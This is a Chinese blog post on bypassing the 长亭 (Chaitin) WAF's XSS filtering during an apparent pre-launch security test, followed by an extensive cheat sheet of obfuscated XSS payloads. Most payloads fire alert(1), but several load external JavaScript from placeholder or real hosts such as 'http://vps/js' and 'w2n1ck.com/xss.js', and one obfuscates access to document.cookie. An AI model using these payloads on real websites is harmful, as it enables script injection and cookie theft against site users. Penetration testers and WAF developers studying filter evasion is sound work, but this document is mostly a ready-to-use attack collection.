长亭WAF XSS防护绕过小记

前言

某次业务上线常规安全测试,有记录操作的功能,猜测存在存储型XSS漏洞,但由于存在长亭WAF被拦截。遂将之前总结的XSS绕过手段逐一测试了下。

0x01 绕过记录

首先尝试生僻标签绕过,拦截

1
2
3
<video src=1 onerror=alert(1)>
<audio src=x onerror=alert(1)>
<button onfocus=alert(1) autofocus>

利用伪协议,拦截

1
<svg onload="javascript:alert(1)">

添加标签属性进行混淆,比如xmlns属性,拦截

1
<svg onload="javascript:alert(1)" xmlns="https://www.baidu.com">

利用字符串拼接

使用top对象,拦截

top可以连接对象以及属性或函数

1
2
<details open ontoggle=top.alert(1)>
<details open ontoggle=top['alert'](1)>

尝试更换函数,拦截

1
<details open ontoggle=top['prompt'](1)>

尝试编码绕过函数黑名单,比如url编码,拦截

1
<details open ontoggle=top['conf'%2b'irm'](1)>

也可尝试其他编码,再尝试前可以先看看eval是否可用

1
<details open ontoggle=top.eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')>

eval也拦截,尝试将eval进行编码混淆,拦截

1
<details open ontoggle=\u0065val(atob('YWxlcnQoMSk='))>

编码尝试了URL编码、Unicode编码、Base64编码、JS8编码、JS16编码、Ascii编码等,当然如果eval可以还可执行外部JS代码,但仍全部拦截。

1
<details open ontoggle=top.eval("appendChild(createElement('script')).src='http://www.w2n1ck.com/xss.js'")>

尝试windows对象,拦截

1
<img src=1 onerror=window.alert(1)>

尝试利用赋值

1
<img src=x onerror=_=alert,_(1)>

还是拦截,加点混淆

1
<img src=x onerror=_=alert;x=1;_(1)>

仍旧拦截,再变形下

1
<body/onfocus="a=prompt,a`1`">

仍然拦截,变态啊!

尝试利用join函数,拦截

join函数将数组转换成字符串,可以将一些关键字作为数组,再用join连接,转化成字符串

1
<iframe onload=location=['javasc','ript:al','ert(1)'].join('')>

尝试利用concat函数

concat函数可以用于连接两个或多个数组,还可以合并两个或者多个字符串。

1
<iframe onload=location=javascri'.concat('pt:aler','t(1)')>

苍天不负,终于不拦截了!

将代码插入业务

愉快的刷新页面,但是并没有弹窗,发现被实体编码了。

原来测试这么久测试了个寂寞,艹。

0x02 技巧整理

1. 拼接

拼接函数:

1
top、this、self、parent、frames、content、window

比如:

1
2
3
4
5
6
7
<body/onfocus=top.alert(1)>
<body onpageshow=top['confir'%2b'm'](1)>
<audio src/onerror=self['pro'+'mpt'](1)>
<details ontoggle=this['ale'+'rt']`1` open>
<marquee onstart=top.eval('ale'%2B'rt(1)')>
<img/src=1 onerror=window.alert(1)>
<svg onload="a(this);function a(){}(alert`1`)">

2. 编码

常见的编码类型:URL编码、base64编码、Hex编码、JS8编码、JS16编码、Unicode编码、html编码

既然是编码肯定需要一些函数来执行,比如:eval,setTimeout,setInterval,constructor,execScript(IE)等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# URL
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%31%29'))">
<details open ontoggle=eval('%61%6c%65%72%74%28%31%29') >
<details open ontoggle=%65%76%61%6c(atob('YWxlcnQoMSk=')) >
# base64
<details open ontoggle=eval(atob('YWxlcnQoMSk='))>
# JS8
<body onpageshow=content['\141\154\145\162\164'](1)>
<svg/onload=setTimeout('\141\154\145\162\164\50\61\51')>
# JS16
<body onpageshow=frames['\x61\x6c\x65\x72\x74'](1)>
<svg/onload=Set.constructor`al\x65rt\x281\x29```>
<svg/onload=Map.constructor`al\x65rt\x281\x29```>
<svg/onload=clear.constructor`al\x65rt\x281\x29```>
<svg/onload=Array.constructor`al\x65rt\x281\x29```>
<svg/onload=WeakSet.constructor`al\x65rt\x281\x29```>
# unicode
<a href="javascript:al\u0065rt()">XSS Test</a>
<a href="javascript:al\u{65}rt()">XSS Test</a>
<svg/onload=\u0073etInterval('\141\154\145\162\164\50\61\51')>
<svg/onload=setTimeout`prompt\u00281\u0029`>
# Ascii
<img/src=1 onerror="eval(String.fromCharCode(97,108,101,114,116,40,49,41))">

3. 字符串

利用正则表达式返回字符串

1
2
3
4
5
eval('~a~le~rt~~(~~1~~)~'.replace(/~/g, ''))
eval(/~a~le~rt~~(~~1~~)~/.source.replace(/~/g, new String()))
<a href="javascript:window[/alert/.source]()">XSS Test</a>
<a href="javascript:''.replace(/.*/,alert)">XSS Test</a>
<img src=1 onerror=eval('~a~le~rt~~(~~1~~)~'.replace(/~/g, ''))>

利用toString转换字符串。

整数toString(radix)转字符串, 第一个点表示浮点数,第二个点表示调用函数

1
2
3
<a href="javascript:top[8680439..toString(30)]()">XSS Test</a>
<details open ontoggle=top[8680439..toString(30)](1); >
<details open ontoggle=top[11189117..toString(32)](1); >

alert字符串用parseInt函数,以基数为30转化后为8680439

parseInt('alert',30) == 8680439

toString函数将返回的数字8680439,以基数为30还原

8680439..toString(30) == alert

4. 函数多样调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<a href="javascript:alert.call(null,'param')">XSS Test</a>
<a href="javascript:alert.apply(null,['param'])">XSS Test</a>
<a href="javascript:alert.bind()('param')">XSS Test</a>
<a href="javascript:Reflect.apply(alert,null,['param'])">XSS Test</a>
<a href="javascript:setTimeout`alert\x28\x29`">XSS Test</a>
<a href="javascript:eval(atob())">XSS Test</a>
<a href="javascript:eval(String.fromCharCode(97,108,))">XSS Test</a>
<img src=1 onerror=(function(){alert(1)})()>
<img src=1 onerror=!function(){alert(1)}()>
<img src=1 onerror=%2bfunction(){alert(1)}()>
<img src=1 onerror=%2dfunction(){alert(1)}()>
<img src=1 onerror=~function(){alert(1)}()>
<a href="javascript:(alert)()">XSS Test</a>
模板字符串:反引号``
<a href="javascript:`${alert(1)}`">XSS Test</a>

5. 利用数组等的功能函数

1
2
3
4
5
6
<a href="javascript:[''].find(alert`1`)">XSS Test</a>
<a href="javascript:[''].findIndex(alert(1)">XSS Test</a>
<a href="javascript:[''].filter(alert)">XSS Test</a>
<a href="javascript:[''].forEach(alert)">XSS Test</a>
<a href="javascript:(new Map()).set(1,'').forEach(alert)">XSS Test</a>
<a href="javascript:(new Set([''])).forEach(alert)">XSS Test</a>

利用拼接数组函数

concat()不仅仅可以用于连接两个或多个数组,还可以合并两个或者多个字符串

1
2
<svg/onload=location='javas'.concat('cript:ale','rt(1)')>
<iframe onload=s=createElement('script');body.appendChild(s);s.src='http://v'.\u0063oncat('ps/','js'); >

再补充个有些防护过滤了document.cookie可以试下下面的,很爽的

1
document['coo'['CONCAT'.toLowerCase()]('kie')]

join()将数组转换成字符串

1
<iframe onload=location=['javascript:alert(1)'].join(")>

6. 新建函数

1
2
3
4
5
<a href="javascript:(new Function('alert()'))()">XSS Test</a>
<body/onload=Function(alert(1))()>
<img%0Dsrc=1 onerror=Function(alert(1))>
<a href="javascript:Set.constructor`alert\x28\x29```">XSS Test</a>
<a href="javascript:(new (Object.getPrototypeOf(async function(){}).constructor)('alert()'))()">XSS Test</a>

7. location

location对象的hash属性用于设置或取得 URL 中的锚部分,比如:http://localhost/1.php#alert(1),我们在控制台输入location.hash,则会返回我们设定的,即#alert(1)

再结合slice()substr()等字符串处理函数获取字符串

1
2
3
4
5
6
<body/onload=eval(location.hash.slice(1))>#alert(1)
<body/onload=setTimeout(location.hash.substr(1))()>#alert(1)
<body/onload=Set.constructor(location.hash.substr(1))()>#alert(1)
<body/onload=execScript(location.hash.substr(1))>#alert(1)
使用Function匿名函数来执行尾部的代码
<body/onload=Function(location.hash.slice(1))()>#alert(1)

同样的道理location.search也类似,它可以把部分参数放在?之后

1
2
3
4
5
6
7
8
9
10
11
12
# dom.html
<html>
<body>
<script>
document.write(decodeURI(window.location.search));
</script>
</body>
</html>
# payload
dom.html?<svg/onload=alert(1)
1.php?(1)&code=<img/src=1 onerror=a=location.search;location="javascript:alert"+a[1]+a[2]+a[3]>

再比如:

1
<svg onload=eval(URL.slice(-8))>#alert(1)

9. 伪协议

常见的伪协议有:javascript:vbscript:(IE下),data:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<body/onload=eval(location.hash.slice(1))>#javascript:alert(1)
<body/onload=eval(location.hash.slice(1))>#vbscript:msgbox(1)
<a href="javascript:confirm(1)">XSS Test</a>
<iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aalert(1)">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=">
<iframe/src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=">
<video><source onerror="javascript:confirm(1);">
<img src=1 onerror=location="javascript:alert(1)">
# 使用xmlns属性
<svg/onload="javascript:alert(1)" xmlns="http://www.baidu.com">
# 使用注释
<svg/onload=location='javascript:/*'%2blocation.hash> #*/alert(1)
# innerHTML
<svg/onload=location="javascript:"%2binnerHTML%2blocation.hash>" #"-alert(1)

10. unescape

unescape()函数用于对已经使用escape()函数编码的字符串进行解码,并返回解码后的字符串。

很多会拦截外部url,比如拦截//

1
<svg/onload=appendChild(createElement('script')).src=unescape('http%3A%2F%2Fxss.tt%2F1te')>

11. with

with用来引用某个特定对象中已有的属性,使用with可以实现通过节点名称的对象调用。

如果.被拦截,可以使用with替代。

1
<svg/onload=with(location)with(hash)eval(alert(1))>

基于DOM的方法创建和插入节点把外部JS文件注入到网页中,也可以应用with。

1
<svg/onload="[1].find(function(){with(`docom'|e|'nt`);;body.appendChild(createElement('script')).src='http://vps/js'})">

12. 过滤括号

1
2
3
4
5
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
<img/src=1 onerror="top.onerror=alert; throw 1">
<img src=x onerror=alert`1`>
<img src=1 onerror=alert%28%29>
<img src=1 onerror=location="javascript:"+"aler"+"t%281%29">

13. 引用外部url

创建和插入节点把外部JS文件注入到网页

1
2
3
4
5
<details open ontoggle=eval("appendChild(createElement('script')).src='http://vps/js'")>
<iframe onload=s=createElement('script');body.appendChild(s);s.src='http://v'.concat('ps/','js');>
<body/onload=document.write(String.fromCharCode(60,115,67,114,73,112,116,32,115,114,67,61,104,116,116,112,58,47,47,118,112,115,47,106,115,62,60,47,115,67,82,105,112,84,62))>
利用link
<link rel=import href="http://vps/1.js">

14. 赋值

1
2
3
4
5
6
7
8
9
10
11
# 变量
<img/src=1 onerror=_=alert,_(1)>
<style onload=_=alert;_(1)>
<details/open/ontoggle=_=alert;x=1;_`1`>
<details open ontoggle=top[a='al',b='ev',b%2ba](prompt(1))>
<details open ontoggle=top[a='al',b='ev',b%2ba]('\141\154\145\162\164\50\61\51')>
<details open ontoggle=top[a='meout',b='setTi',b%2ba]('\141\154\145\162\164\50\61\51')>
# 函数
<img/src=1 onmouseover="a=alert,a`1`">
# 属性
<img src=1 alt=al lang=ert onerror=top[alt%2blang](1)>

15. 黑名单

alert(1)为例

1
2
3
4
5
6
7
8
(alert)(1)
a=alert,a(1)
[1].find(alert)
top["al"+"ert"](1)
self[/al/.source+/ert/.source](1)
al\u0065rt(1)
frames['al\145rt'](1)
content[8680439..toString(30)](1)

16. 标签

16.1. body
1
2
3
4
5
6
<body onload=alert(1)>
<body onpageshow=alert(1)>
<body onfocus=alert(1)>
<body onhashchange=alert(1)><a href=#></a>
<body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><x id=x>#x
16.2. 其他
1
2
3
4
5
6
7
8
9
<marquee onstart=alert(1)>
<marquee loop=1 width=0 onfinish=alert(1)>
<audio src onloadstart=alert(1)>
<video onloadstart=alert(1)><source>
<input autofocus onblur=alert(1)>
<keygen autofocus onfocus=alert(1)>
<form onsubmit=alert(1)><input type=submit>
<select onchange=alert(1)><option>1<option>2
<menu id=x contextmenu=x onshow=alert(1)>right click me!

太多了,再次提醒大家好好看看这个网站:

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

17. 事件捕获

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<x contenteditable onblur=alert(1)>lose focus!
<x onclick=alert(1)>click this!
<x oncopy=alert(1)>copy this!
<x oncontextmenu=alert(1)>right click this!
<x oncut=alert(1)>copy this!
<x ondblclick=alert(1)>double click this!
<x ondrag=alert(1)>drag this!
<x contenteditable onfocus=alert(1)>focus this!
<x contenteditable oninput=alert(1)>input here!
<x contenteditable onkeydown=alert(1)>press any key!
<x contenteditable onkeypress=alert(1)>press any key!
<x contenteditable onkeyup=alert(1)>press any key!
<x onmousedown=alert(1)>click this!
<x onmousemove=alert(1)>hover this!
<x onmouseout=alert(1)>hover this!
<x onmouseover=alert(1)>hover this!
<x onmouseup=alert(1)>click this!
<x contenteditable onpaste=alert(1)>paste here!
<brute contenteditable onblur=alert(1)>lose focus!
<brute onclick=alert(1)>click this!
<brute oncopy=alert(1)>copy this!
<brute oncontextmenu=alert(1)>right click this!
<brute oncut=alert(1)>copy this!
<brute ondblclick=alert(1)>double click this!
<brute ondrag=alert(1)>drag this!
<brute contenteditable onfocus=alert(1)>focus this!
<brute contenteditable oninput=alert(1)>input here!
<brute contenteditable onkeydown=alert(1)>press any key!
<brute contenteditable onkeypress=alert(1)>press any key!
<brute contenteditable onkeyup=alert(1)>press any key!
<brute onmousedown=alert(1)>click this!
<brute onmousemove=alert(1)>hover this!
<brute onmouseout=alert(1)>hover this!
<brute onmouseover=alert(1)>hover this!
<brute onmouseup=alert(1)>click this!
<brute contenteditable onpaste=alert(1)>paste here!
<brute style=font-size:500px onmouseover=alert(1)>0000
<brute style=font-size:500px onmouseover=alert(1)>0001
<brute style=font-size:500px onmouseover=alert(1)>0002
<brute style=font-size:500px onmouseover=alert(1)>0003

18. 属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# src
<script src=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<embed src=javascript:alert(1)>
# href
<a href=javascript:alert(1)>click
<math><brute href=javascript:alert(1)>click
# action
<form action=javascript:alert(1)><input type=submit>
<isindex action=javascript:alert(1) type=submit value=click>
# formaction
<form><button formaction=javascript:alert(1)>click
<form><input formaction=javascript:alert(1) type=submit value=click>
<form><input formaction=javascript:alert(1) type=image value=click>
<form><input formaction=javascript:alert(1) type=image src=http://brutelogic.com.br/webgun/img/youtube1.jpg>
<isindex formaction=javascript:alert(1) type=submit value=click>
# data
<object data=javascript:alert(1)>
# srcdoc
<iframe srcdoc=%26lt;svg/o%26%23x6Eload%26equals;alert%26lpar;1)%26gt;>
# xlink:href
<svg><script xlink:href=data:,alert(1)></script>
<svg><script xlink:href=data:,alert(1) />
<math><brute xlink:href=javascript:alert(1)>click
# from
<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=%26>

参考文章

https://www.w2n1ck.com/article/33/

大爷,赏个铜板呗!